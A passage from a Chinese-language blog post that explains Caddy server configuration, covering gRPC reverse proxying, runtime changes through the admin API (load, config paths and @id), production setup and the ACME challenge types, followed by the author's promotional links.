robin负载均衡算法分配到后面的两个服务localhost:9005和localhost:9006上：\n注：关于上面两个tcp和udp的示例的client端和server端的代码，可以在github.com/bigwhite/experiments下的caddy-examples中找到，这里鉴于篇幅，就不贴出来了。\n接下来，我们再看看RPC。\n1.4.2 RPC 我们以最为流行的gRPC为例，来看看如何配置Caddy，试验拓扑如下：\n请提前将rpc-server.com配置到/etc/hosts中，ip为localhost。然后，根据上面拓扑图，我们将Caddyfile更新为下面内容：\nrpc-server.com { tls internal reverse_proxy h2c://localhost:9007 h2c://localhost:9008 } gRPC使用HTTP/2帧，h2c://可以确保后端启用明文HTTP/2。\n注：关于gRPC的grpc-client、grpc-server1和grpc-server2的代码，可以在github.com/bigwhite/experiments下的caddy-examples的rpc目录中找到，这里鉴于篇幅，就不贴出来了。\n到这里，关于Caddy的运行方法以及针对各种协议的基本配置方法已经初步探索完了，接下来我们再来看一下Caddy的另一个强大的功能：基于API的运行时动态配置。\n2. 运行时使用API对Caddy进行动态配置 Caddy提供了admin和config API，允许我们在运行时动态配置和管理服务器。前面提到过，Caddy默认的API端口和路径是http://localhost:2019/config/。不过，需要注意的是：通过API设置的路由配置仅存储在内存中，并未持久化。这意味着当Caddy服务器重启后，如果没有使用–resume恢复autosave.json中的配置，那么之前通过API进行的各种设置将失效。\n在Caddy提供的API中，我们最关心的还是与服务器(server)、路由(routes)、处理器(handle)以及匹配器(match)的设置，以下面Caddyfile所表示的https服务器设置为例：\nserver1.com { tls internal reverse_proxy localhost:9001 } server2.com { tls internal reverse_proxy localhost:9002 localhost:9012 } 该Caddyfile对应的拓扑图如下：\n该Caddyfile转换为JSON格式后的配置数据如下：\n{ \u0026#34;apps\u0026#34;: { \u0026#34;http\u0026#34;: { \u0026#34;servers\u0026#34;: { \u0026#34;srv0\u0026#34;: { \u0026#34;listen\u0026#34;: [ \u0026#34;:443\u0026#34; ], \u0026#34;routes\u0026#34;: [ { \u0026#34;handle\u0026#34;: [ { \u0026#34;handler\u0026#34;: \u0026#34;subroute\u0026#34;, \u0026#34;routes\u0026#34;: [ { \u0026#34;handle\u0026#34;: [ { \u0026#34;handler\u0026#34;: \u0026#34;reverse_proxy\u0026#34;, \u0026#34;upstreams\u0026#34;: [ { \u0026#34;dial\u0026#34;: \u0026#34;localhost:9001\u0026#34; } ] } ] } ] } ], \u0026#34;match\u0026#34;: [ { \u0026#34;host\u0026#34;: [ \u0026#34;server1.com\u0026#34; ] } ], \u0026#34;terminal\u0026#34;: true }, { \u0026#34;handle\u0026#34;: [ { \u0026#34;handler\u0026#34;: \u0026#34;subroute\u0026#34;, \u0026#34;routes\u0026#34;: [ { \u0026#34;handle\u0026#34;: [ { \u0026#34;handler\u0026#34;: \u0026#34;reverse_proxy\u0026#34;, \u0026#34;upstreams\u0026#34;: [ { \u0026#34;dial\u0026#34;: \u0026#34;localhost:9002\u0026#34; }, { \u0026#34;dial\u0026#34;: \u0026#34;localhost:9012\u0026#34; } ] } ] } ] } ], \u0026#34;match\u0026#34;: [ { \u0026#34;host\u0026#34;: [ \u0026#34;server2.com\u0026#34; ] } ], \u0026#34;terminal\u0026#34;: true } ] } } }, \u0026#34;tls\u0026#34;: { \u0026#34;automation\u0026#34;: { \u0026#34;policies\u0026#34;: [ { \u0026#34;issuers\u0026#34;: [ { \u0026#34;module\u0026#34;: \u0026#34;internal\u0026#34; } ], \u0026#34;subjects\u0026#34;: [ \u0026#34;server1.com\u0026#34;, \u0026#34;server2.com\u0026#34; ] } ] } } } } 其中，我们关注的服务器(server)、路由(routes)、处理器(handle)和匹配器(match)之间的隶属关系如下图，其他配置将由Caddy自动完成：\n接下来，我们就基于这个示例，来看看通过Caddy API如何完成一些常见的站点设置操作。\n2.1 POST /load 我们先看看整体替换的POST /load接口。通过该接口，我们可以用新的Caddy配置整体覆盖当前生效的Caddy配置，Caddy收到这个请求后，会阻塞住该调用，直到新配置加载完成或加载失败才会返回。如果加载失败，Caddy会回滚之前的配置。与caddy reload命令一样，该接口可以实现不停机更新并生效配置，无论是加载成功还是加载失败回滚。\n下面我们修改一下上面json，将server2.com路由中的那个监听9012的upstream server去掉，并保存为caddy-load.json。如果担心自己修改的配置信息不正确，可以在调用接口之前，先用caddy validate对caddy-load.json进行有效性检查：\n$caddy validate -c caddy-load.json 2024/10/11 02:50:28.649 INFO using config from file {\u0026#34;file\u0026#34;: \u0026#34;caddy-load.json\u0026#34;} 2024/10/11 02:50:28.651 INFO tls.cache.maintenance started background certificate maintenance {\u0026#34;cache\u0026#34;: \u0026#34;0xc00012dd00\u0026#34;} 2024/10/11 02:50:28.652 INFO http.auto_https server is listening only on the HTTPS port but has no TLS connection policies; adding one to enable TLS {\u0026#34;server_name\u0026#34;: \u0026#34;srv0\u0026#34;, \u0026#34;https_port\u0026#34;: 443} 2024/10/11 02:50:28.652 INFO http.auto_https enabling automatic HTTP-\u0026gt;HTTPS redirects {\u0026#34;server_name\u0026#34;: \u0026#34;srv0\u0026#34;} 2024/10/11 02:50:28.652 INFO tls.cache.maintenance stopped background certificate maintenance {\u0026#34;cache\u0026#34;: \u0026#34;0xc00012dd00\u0026#34;} Valid configuration 然后用下面curl命令调用load接口尝试新配置加载：\n$curl \u0026#34;http://localhost:2019/load\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d @caddy-load.json 此时Caddy会输出类似如下日志：\n2024/10/11 02:53:15.191 INFO admin.api received request {\u0026#34;method\u0026#34;: \u0026#34;POST\u0026#34;, \u0026#34;host\u0026#34;: \u0026#34;localhost:2019\u0026#34;, \u0026#34;uri\u0026#34;: \u0026#34;/load\u0026#34;, \u0026#34;remote_ip\u0026#34;: \u0026#34;127.0.0.1\u0026#34;, \u0026#34;remote_port\u0026#34;: \u0026#34;60898\u0026#34;, \u0026#34;headers\u0026#34;: {\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Content-Length\u0026#34;:[\u0026#34;1968\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;application/json\u0026#34;],\u0026#34;Expect\u0026#34;:[\u0026#34;100-continue\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;curl/7.54.0\u0026#34;]}} 2024/10/11 02:53:15.226 INFO admin admin endpoint started {\u0026#34;address\u0026#34;: \u0026#34;localhost:2019\u0026#34;, \u0026#34;enforce_origin\u0026#34;: false, \u0026#34;origins\u0026#34;: [\u0026#34;//[::1]:2019\u0026#34;, \u0026#34;//127.0.0.1:2019\u0026#34;, \u0026#34;//localhost:2019\u0026#34;]} 2024/10/11 02:53:15.240 INFO http.auto_https server is listening only on the HTTPS port but has no TLS connection policies; adding one to enable TLS {\u0026#34;server_name\u0026#34;: \u0026#34;srv0\u0026#34;, \u0026#34;https_port\u0026#34;: 443} 2024/10/11 02:53:15.240 INFO http.auto_https enabling automatic HTTP-\u0026gt;HTTPS redirects {\u0026#34;server_name\u0026#34;: \u0026#34;srv0\u0026#34;} 2024/10/11 02:53:15.254 INFO pki.ca.local root certificate is already trusted by system {\u0026#34;path\u0026#34;: \u0026#34;storage:pki/authorities/local/root.crt\u0026#34;} 2024/10/11 02:53:15.256 INFO http enabling HTTP/3 listener {\u0026#34;addr\u0026#34;: \u0026#34;:443\u0026#34;} 2024/10/11 02:53:15.257 INFO http.log server running {\u0026#34;name\u0026#34;: \u0026#34;srv0\u0026#34;, \u0026#34;protocols\u0026#34;: [\u0026#34;h1\u0026#34;, \u0026#34;h2\u0026#34;, \u0026#34;h3\u0026#34;]} 2024/10/11 02:53:15.257 INFO http.log server running {\u0026#34;name\u0026#34;: \u0026#34;remaining_auto_https_redirects\u0026#34;, \u0026#34;protocols\u0026#34;: [\u0026#34;h1\u0026#34;, \u0026#34;h2\u0026#34;, \u0026#34;h3\u0026#34;]} 2024/10/11 02:53:15.257 INFO http enabling automatic TLS certificate management {\u0026#34;domains\u0026#34;: [\u0026#34;server1.com\u0026#34;, \u0026#34;server2.com\u0026#34;]} 2024/10/11 02:53:15.257 INFO http servers shutting down with eternal grace period 2024/10/11 02:53:15.258 INFO autosaved config (load with --resume flag) {\u0026#34;file\u0026#34;: \u0026#34;/Users/tonybai/Library/Application Support/Caddy/autosave.json\u0026#34;} 2024/10/11 02:53:15.258 INFO admin.api load complete 2024/10/11 02:53:15.263 INFO admin stopped previous server {\u0026#34;address\u0026#34;: \u0026#34;localhost:2019\u0026#34;} 更新后，你可以通过config API或autosaved.json查看变更后的配置，也可以通过测试验证新配置是否生效。\n不过，这种整体替换显然更容易失败，如果Caddy代理的站点路由很多，json文件的Size也不可小觑。此外，要维护全量的配置，还要对Caddy的配置有较为系统的了解。在日常维护中，按配置路径更新局部配置更为实用一些，接下来我们就来看看如何基于配置路径管理服务器(server)、路由(routes)、处理器(handle)以及匹配器(match)的设置。\n2.2 /config/[path] 通过在config后面加上要操作的配置路径，我们可以读取和更新对应路径上的配置信息。\n2.2.1 读取特定路径下的配置 使用Http Get请求，可以读取在/config后面的指定路径上的配置。\n读取全部 $curl \u0026#34;http://localhost:2019/config/\u0026#34; 读取所有服务器(server)配置 $curl \u0026#34;http://localhost:2019/config/apps/http/servers\u0026#34; {\u0026#34;srv0\u0026#34;:{\u0026#34;listen\u0026#34;:[\u0026#34;:443\u0026#34;],\u0026#34;routes\u0026#34;:[{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;subroute\u0026#34;,\u0026#34;routes\u0026#34;:[{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;reverse_proxy\u0026#34;,\u0026#34;upstreams\u0026#34;:[{\u0026#34;dial\u0026#34;:\u0026#34;localhost:9001\u0026#34;}]}]}]}],\u0026#34;match\u0026#34;:[{\u0026#34;host\u0026#34;:[\u0026#34;server1.com\u0026#34;]}],\u0026#34;terminal\u0026#34;:true},{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;subroute\u0026#34;,\u0026#34;routes\u0026#34;:[{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;reverse_proxy\u0026#34;,\u0026#34;upstreams\u0026#34;:[{\u0026#34;dial\u0026#34;:\u0026#34;localhost:9002\u0026#34;},{\u0026#34;dial\u0026#34;:\u0026#34;localhost:9012\u0026#34;}]}]}]}],\u0026#34;match\u0026#34;:[{\u0026#34;host\u0026#34;:[\u0026#34;server2.com\u0026#34;]}],\u0026#34;terminal\u0026#34;:true}]}} 读取某个服务器(server)的配置 以srv0为例：\n$curl \u0026#34;http://localhost:2019/config/apps/http/servers/srv0\u0026#34; {\u0026#34;listen\u0026#34;:[\u0026#34;:443\u0026#34;],\u0026#34;routes\u0026#34;:[{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;subroute\u0026#34;,\u0026#34;routes\u0026#34;:[{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;reverse_proxy\u0026#34;,\u0026#34;upstreams\u0026#34;:[{\u0026#34;dial\u0026#34;:\u0026#34;localhost:9001\u0026#34;}]}]}]}],\u0026#34;match\u0026#34;:[{\u0026#34;host\u0026#34;:[\u0026#34;server1.com\u0026#34;]}],\u0026#34;terminal\u0026#34;:true},{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;subroute\u0026#34;,\u0026#34;routes\u0026#34;:[{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;reverse_proxy\u0026#34;,\u0026#34;upstreams\u0026#34;:[{\u0026#34;dial\u0026#34;:\u0026#34;localhost:9002\u0026#34;},{\u0026#34;dial\u0026#34;:\u0026#34;localhost:9012\u0026#34;}]}]}]}],\u0026#34;match\u0026#34;:[{\u0026#34;host\u0026#34;:[\u0026#34;server2.com\u0026#34;]}],\u0026#34;terminal\u0026#34;:true}]} 读取srv0的listen配置 $curl \u0026#34;http://localhost:2019/config/apps/http/servers/srv0/listen/\u0026#34; [\u0026#34;:443\u0026#34;] 读取srv0的所有路由 $curl \u0026#34;http://localhost:2019/config/apps/http/servers/srv0/routes/\u0026#34; [{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;subroute\u0026#34;,\u0026#34;routes\u0026#34;:[{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;reverse_proxy\u0026#34;,\u0026#34;upstreams\u0026#34;:[{\u0026#34;dial\u0026#34;:\u0026#34;localhost:9001\u0026#34;}]}]}]}],\u0026#34;match\u0026#34;:[{\u0026#34;host\u0026#34;:[\u0026#34;server1.com\u0026#34;]}],\u0026#34;terminal\u0026#34;:true},{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;subroute\u0026#34;,\u0026#34;routes\u0026#34;:[{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;reverse_proxy\u0026#34;,\u0026#34;upstreams\u0026#34;:[{\u0026#34;dial\u0026#34;:\u0026#34;localhost:9002\u0026#34;},{\u0026#34;dial\u0026#34;:\u0026#34;localhost:9012\u0026#34;}]}]}]}],\u0026#34;match\u0026#34;:[{\u0026#34;host\u0026#34;:[\u0026#34;server2.com\u0026#34;]}],\u0026#34;terminal\u0026#34;:true}] 路由是一个数组，要读取某个路由，可以使用数组下标，比如：\n$curl \u0026#34;http://localhost:2019/config/apps/http/servers/srv0/routes/0/\u0026#34; {\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;subroute\u0026#34;,\u0026#34;routes\u0026#34;:[{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;reverse_proxy\u0026#34;,\u0026#34;upstreams\u0026#34;:[{\u0026#34;dial\u0026#34;:\u0026#34;localhost:9001\u0026#34;}]}]}]}],\u0026#34;match\u0026#34;:[{\u0026#34;host\u0026#34;:[\u0026#34;server1.com\u0026#34;]}],\u0026#34;terminal\u0026#34;:true} 读取某路由的handle和match $curl \u0026#34;http://localhost:2019/config/apps/http/servers/srv0/routes/0/handle/\u0026#34; [{\u0026#34;handler\u0026#34;:\u0026#34;subroute\u0026#34;,\u0026#34;routes\u0026#34;:[{\u0026#34;handle\u0026#34;:[{\u0026#34;handler\u0026#34;:\u0026#34;reverse_proxy\u0026#34;,\u0026#34;upstreams\u0026#34;:[{\u0026#34;dial\u0026#34;:\u0026#34;localhost:9001\u0026#34;}]}]}]}] $curl \u0026#34;http://localhost:2019/config/apps/http/servers/srv0/routes/0/match/\u0026#34; [{\u0026#34;host\u0026#34;:[\u0026#34;server1.com\u0026#34;]}] 我们看到，就像上面这样按配置路径逐步细化，便可以读取到所有对应的配置，遇到数组类型，可以使用下标读取对应的“数组元素”的配置。\n接下来，我们再来看看基于路径的配置修改方法。\n2.2.2 更新特定路径下的配置 使用Http Post请求，可以创建或更新在/config后面的指定路径上的配置。如果指定路径对应的配置目标为一个数组，则POST会将json作为元素追加到数组中；如果目标是一个对象，则post会基于json信息创建新对象或更新对象。\n我们先以apps/http/servers/srv0/listen/这个数组对象为例，为其添加一个新元素”:80″：\n$curl -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;\u0026#34;:80\u0026#34;\u0026#39; \u0026#34;http://localhost:2019/config/apps/http/servers/srv0/listen\u0026#34; 成功之后，我们可以看到listen数组的变化：\n$curl \u0026#34;http://localhost:2019/config/apps/http/servers/srv0/listen\u0026#34; [\u0026#34;:443\u0026#34;,\u0026#34;:80\u0026#34;] 如果是要更改某个数组元素，我们可以使用PATCH请求，比如将刚刚创建的”:80″改为”:90″：\n$curl -X PATCH -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;\u0026#34;:90\u0026#34;\u0026#39; \u0026#34;http://localhost:2019/config/apps/http/servers/srv0/listen/1\u0026#34; $curl \u0026#34;http://localhost:2019/config/apps/http/servers/srv0/listen\u0026#34; [\u0026#34;:443\u0026#34;,\u0026#34;:90\u0026#34;] 如果要删除刚才添加的数组元素，可以使用DELETE请求，根据下标值路径进行删除：\n$curl -X DELETE \u0026#34;http://localhost:2019/config/apps/http/servers/srv0/listen/1\u0026#34; $curl \u0026#34;http://localhost:2019/config/apps/http/servers/srv0/listen\u0026#34; [\u0026#34;:443\u0026#34;] 下面我们来添加一个srv1对象，与上面的srv0并齐：\n$curl -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{ \u0026#34;listen\u0026#34; : [\u0026#34;:444\u0026#34;]}\u0026#39; \u0026#34;http://localhost:2019/config/apps/http/servers/srv1/\u0026#34; 创建后，我们得到下面配置：\n$curl \u0026#34;http://localhost:2019/config/apps/http/servers/\u0026#34; | gojq { \u0026#34;srv0\u0026#34;: { \u0026#34;listen\u0026#34;: [ \u0026#34;:443\u0026#34; ], \u0026#34;routes\u0026#34;: [ ... ... ] }, \u0026#34;srv1\u0026#34;: { \u0026#34;listen\u0026#34;: [ \u0026#34;:444\u0026#34; ] } } 但我们不能这么创建：\n$curl -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{ \u0026#34;srv1\u0026#34; : { \u0026#34;listen\u0026#34; : [\u0026#34;:444\u0026#34;]}}\u0026#39; \u0026#34;http://localhost:2019/config/apps/http/servers/\u0026#34; 这样会覆盖掉servers的全部信息，整个servers信息将变为：\n$curl \u0026#34;http://localhost:2019/config/apps/http/servers/\u0026#34; | gojq { \u0026#34;srv1\u0026#34;: { \u0026#34;listen\u0026#34;: [ \u0026#34;:444\u0026#34; ] } } 2.3 @id 虽然通过上面指定路径可以获取和更新对应的配置，但我们也看到了Caddy的json的缩进非常深，这给API的调用者带来了心智负担。Caddy提供了一种强大而灵活的方式来快速访问和修改配置中的特定部分，这就是使用@id标识符。通过在配置中为某些元素分配唯一的@id，我们可以直接引用这些元素，而无需指定完整的路径。这在处理复杂配置或需要频繁修改特定部分时特别有用。\n在Caddy的配置中，@id可以应用于多个层次的配置元素。具体来说，在apps/http/servers下的各个层次都支持@id，包括但不限于：\n服务器（server）级别 路由（routes）级别 处理器（handle）级别 匹配器（match）级别 下面让我们通过具体的例子来看看如何在这些不同的层次上使用@id。由于Caddyfile不支持@id，我们将使用新的配置作为示例：\n我们建立一个新的json作为Caddy的启动配置文件：\n{ \u0026#34;apps\u0026#34;: { \u0026#34;http\u0026#34;: { \u0026#34;servers\u0026#34;: { \u0026#34;myserver\u0026#34;: { \u0026#34;@id\u0026#34;: \u0026#34;main_server\u0026#34;, \u0026#34;listen\u0026#34;: [ \u0026#34;:80\u0026#34; ], \u0026#34;routes\u0026#34;: [ { \u0026#34;@id\u0026#34;: \u0026#34;main_route\u0026#34;, \u0026#34;handle\u0026#34;: [ { \u0026#34;@id\u0026#34;: \u0026#34;main_handler\u0026#34;, \u0026#34;body\u0026#34;: \u0026#34;Hello from main server!\u0026#34;, \u0026#34;handler\u0026#34;: \u0026#34;static_response\u0026#34; } ], \u0026#34;match\u0026#34;: [ { \u0026#34;@id\u0026#34;: \u0026#34;path_matcher\u0026#34;, \u0026#34;path\u0026#34;: [ \u0026#34;/api/*\u0026#34; ] } ] } ] } } } } } 我们先看看服务器级别的@id使用。在这里我们为myserver这个服务器赋予了一个新的@id字段，值为main_server，接下来，我们就可以使用下面路径获取和更新该server的配置信息：\n$curl \u0026#34;http://localhost:2019/id/main_server\u0026#34; {\u0026#34;@id\u0026#34;:\u0026#34;main_server\u0026#34;,\u0026#34;listen\u0026#34;:[\u0026#34;:80\u0026#34;],\u0026#34;routes\u0026#34;:[{\u0026#34;handle\u0026#34;:[{\u0026#34;body\u0026#34;:\u0026#34;Hello from main server!\u0026#34;,\u0026#34;handler\u0026#34;:\u0026#34;static_response\u0026#34;}]}]} $curl \u0026#34;http://localhost:2019/id/main_server/listen\u0026#34; [\u0026#34;:80\u0026#34;] 同理，在路由级别，我们也为为其中的一个路由设置了@id字段，值为main_route，通过下面命令便可以获取和更新该路由信息：\n$curl \u0026#34;http://localhost:2019/id/main_route/\u0026#34; {\u0026#34;@id\u0026#34;:\u0026#34;main_route\u0026#34;,\u0026#34;handle\u0026#34;:[{\u0026#34;@id\u0026#34;:\u0026#34;main_handler\u0026#34;,\u0026#34;body\u0026#34;:\u0026#34;Hello from main server!\u0026#34;,\u0026#34;handler\u0026#34;:\u0026#34;static_response\u0026#34;}],\u0026#34;match\u0026#34;:[{\u0026#34;@id\u0026#34;:\u0026#34;path_matcher\u0026#34;,\u0026#34;path\u0026#34;:[\u0026#34;/api/*\u0026#34;]}]} $curl \u0026#34;http://localhost:2019/id/main_route/handle\u0026#34; [{\u0026#34;@id\u0026#34;:\u0026#34;main_handler\u0026#34;,\u0026#34;body\u0026#34;:\u0026#34;Hello from main server!\u0026#34;,\u0026#34;handler\u0026#34;:\u0026#34;static_response\u0026#34;}] 通过handle（处理器）级别的@id，我们同样可以直接访问@id对应的对象的信息：\n$curl \u0026#34;http://localhost:2019/id/main_handler/\u0026#34; {\u0026#34;@id\u0026#34;:\u0026#34;main_handler\u0026#34;,\u0026#34;body\u0026#34;:\u0026#34;Hello from main server!\u0026#34;,\u0026#34;handler\u0026#34;:\u0026#34;static_response\u0026#34;} $curl \u0026#34;http://localhost:2019/id/main_handler/body\u0026#34; \u0026#34;Hello from main server!\u0026#34; 最后是通过@id访问matcher：\n$curl \u0026#34;http://localhost:2019/id/path_matcher/\u0026#34; {\u0026#34;@id\u0026#34;:\u0026#34;path_matcher\u0026#34;,\u0026#34;path\u0026#34;:[\u0026#34;/api/*\u0026#34;]} $curl \u0026#34;http://localhost:2019/id/path_matcher/path\u0026#34; [\u0026#34;/api/*\u0026#34;] 我们看到：使用@id方式，我们可以像一个使用指针或传送点那样，直达特定路径下面，而无需一层一层的输入路径信息。在处理大型或复杂的配置时，它为管理员和开发者提供了一种更灵活、更直观的方式来操作Caddy的配置。\n3. 生产环境的实践与ACME 最后我们来简单说说在生产环境使用Caddy的一些实践方法。\n3.1 生产环境的Caddy配置方法 前面说了那么多的Caddy配置方法，那么在生产环境究竟应该使用哪种方法来进行Caddy的初始配置、运行时动态配置更新以及配置的持久化呢？\n虽然Caddyfile简单，但如果要在生产环境中进行运行时的动态配置更新，json格式才是不二之选，我们首先可以基于标准格式准备一份json的初始配置作为caddy的初始启动配置，这个配置后续就可以不再使用了。\n启动caddy时建议使用–resume，初始情况下因为还没有autosaved.json，caddy会基于初始配置启动，之后重启caddy都会基于autosaved.json启动。\n而运行时，我们可直接基于API对caddy的配置进行修改，所有的修改都会立即生效，而且无需停机，并且配置变更会save到autosave.json中，即便caddy重启，下一次启动时caddy也会加载停机前的最新配置，而这一切都不需要我们干预。\n3.2 自动HTTPS与ACME 在生产环境使用Caddy，除了其超级简单的配置和相对不错的性能之外，最主要就要用它的自动https，即自动为代理的站点域名从Let’s Encrypt或zerossl申请受信任的免费证书，并可以在证书过期前自动更新证书。Caddy是通过ACME协议与这两个站点进行交互并获取和维护证书的。\nACME协议是一个用于自动化数字证书管理的协议。它允许服务器或客户端软件自动向证书颁发机构 (CA) 请求、更新和撤销SSL/TLS证书。ACME协议的优势在于减少了人为错误，支持短期证书，提高了证书安全性，同时由于支持自动化，让大规模证书部署和管理成为可能。\n该协议最早在2015年由Let’s Encrypt推出，旨在推广HTTPS，并使证书管理自动化和标准化。\nACME的API版本有两个，API v1规范于2016年发布。它支持为完全限定的域名颁发证书，例如example.com或cluster.example.com，但不支持*.example.com等通配符证书。API v2规范于2018年发布，被称为ACME v2，ACME v2不向后兼容v1。v2版本支持通配符域名证书，例如*.example.com。同时新增新的挑战(challenge)类型TLS-ALPN-01。\nIETF在2019年正式将ACME作为标准协议发布(RFC 8555)。2021年，ACME v1版本废弃，不再提供支持。\nACME协议的主要组件包括客户端、ACME服务器（如Let’s Encrypt或ZeroSSL）、挑战机制（Challenges）以及证书颁发流程。客户端首先向ACME服务器请求证书，服务器通过挑战机制要求客户端证明对域名的控制权，验证通过后颁发证书。这里最复杂的就是挑战机制了。\nCaddy Server支持以下ACME 挑战机制：\nHTTP Challenge CA机构执行该挑战时会对候选主机名的A/AAAA记录执行权威DNS查找，然后在端口80上使用HTTP请求一个临时的加密资源。如果CA（证书颁发机构）看到了预期的资源，则会颁发证书。该挑战机制要求端口80必须对外部可访问。在Caddy中，此挑战机制默认启用且无需显式配置。\nTLS-ALPN Challenge CA机构执行该挑战时会对候选主机名的A/AAAA记录执行权威DNS查找，然后在端口443上使用一个包含特殊ServerName和ALPN值的TLS握手请求临时的加密资源。如果CA看到了预期的资源，则会颁发证书。该挑战机制要求端口443必须对外部可访问。在Caddy中，此挑战机制也是默认启用的，且无需显式配置。\nDNS Challenge CA机构执行该挑战时会对候选主机名的TXT记录执行权威DNS查找，并查找包含特定值的TXT记录。如果CA看到了预期的值，则会颁发证书。\n该挑战机制的优点是无需开放任何端口，并且请求证书的服务器不需要对外部可访问。但需要Caddy配置访问候选主机域名的DNS提供商的凭据(api token)，以便Caddy能够通过api设置（和清除）特殊的TXT记录。如果启用了DNS挑战，默认情况下其他挑战会被禁用。\n这三种挑战机制在不同场景下都有各自的优势，Caddy默认启用HTTP和TLS-ALPN挑战，并在需要时会自动选择最成功的挑战类型来使用。同时Caddy也为DNS challenge提供了对各种DNS提供商的插件支持，这些插件可以在https://github.com/caddy-dns中查找。\nGo在ACME方面有着广泛的应用，很多标准的ACME client以及服务端都是由go实现的，比如cert-manager等，甚至包括支撑let’s encrypt自身的服务都是基于Go实现的，即用于实现CA的boulder开源项目。\n4. 小结 在本文中，我们深入探索了Caddy服务器的强大功能与简便配置。Caddy以其独特的设计理念，简化了Web服务器和反向代理的搭建过程，尤其是在自动HTTPS证书管理和API支持方面表现突出。通过Caddyfile的简单配置，用户可以迅速部署安全的HTTPS站点，而无需繁琐的步骤。\n此外，Caddy的动态配置能力使得在运行时调整服务器设置成为可能，极大提高了灵活性和管理效率。尽管Caddy目前在四层代理和负载均衡的支持上还有待增强，但通过插件的方式也为用户提供了扩展的可能性。\n总之，Caddy不仅适合个人项目的快速搭建，也在企业级应用中展现出强大的稳定性和高效性。随着社区的不断发展和支持，Caddy将继续成为开发者和系统管理员的重要工具。\n本文涉及的源码可以在这里下载。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/11/07/exploring-caddy/","summary":"\u003cp\u003e\u003cimg alt=\"Image 41\" loading=\"lazy\" src=\"/images/wp-content/uploads/exploring-caddy-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/11/07/exploring-caddy\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/11/07/exploring-caddy\"\u003ehttps://tonybai.com/2024/11/07/exploring-caddy\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/11/11/go-opensource-14-years/\"\u003eGo语言诞生十多年来\u003c/a\u003e，社区涌现出众多优秀的Web服务器和反向代理解决方案。其中，最引人注目的无疑是\u003ca href=\"https://caddyserver.com/\"\u003eCaddy\u003c/a\u003e和\u003ca href=\"https://github.com/traefik/traefik\"\u003eTraefik\u003c/a\u003e。这两者都为开发者和系统管理员提供了更简单、更安全的现代化Web服务器和反向代理部署选项。尽管它们的目标略有不同，Caddy最初旨在满足开发者快速搭建反向代理的需求，特别关注配置的简易性，并在后期增加了自动HTTPS和全面的API支持；而Traefik则更强调云原生架构，适合基于微服务的应用，尤其是使用Docker或Kubernetes部署的场景，提供动态服务发现和灵活的路由能力。\u003c/p\u003e\n\u003cp\u003e我于2015年\u003ca href=\"https://tonybai.com/2015/06/04/caddy-a-web-server-in-go/\"\u003e首次体验了开源发布的Caddy\u003c/a\u003e，其超简单的配置确实给我留下了深刻的印象。之后也一直关注着Caddy的发展，Caddy在支持通过\u003ca href=\"https://datatracker.ietf.org/doc/html/rfc8555\"\u003eACME协议\u003c/a\u003e自动为服务的域名获取免费HTTPS证书的功能后，Caddy就被我\u003ca href=\"https://m.do.co/c/bff6eed92687\"\u003e部署在自己的VPS上\u003c/a\u003e，为\u003ca href=\"https://gopherdaily.tonybai.com/\"\u003eGopher Daily\u003c/a\u003e等站点提供反向代理服务，运行十分稳定。Caddy这一为域名自动获取免费HTTPS证书的功能是其简化站点部署初衷的延续，也为Caddy赢得的广泛的用户和赞誉，并且这一特性不仅使得Caddy在个人项目和小型部署中大受欢迎，也让它在企业级应用中占有一席之地。\u003c/p\u003e","title":"从简单到强大：再次探索Caddy服务器的魅力"},{"content":"成为那个拿锤子的人 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 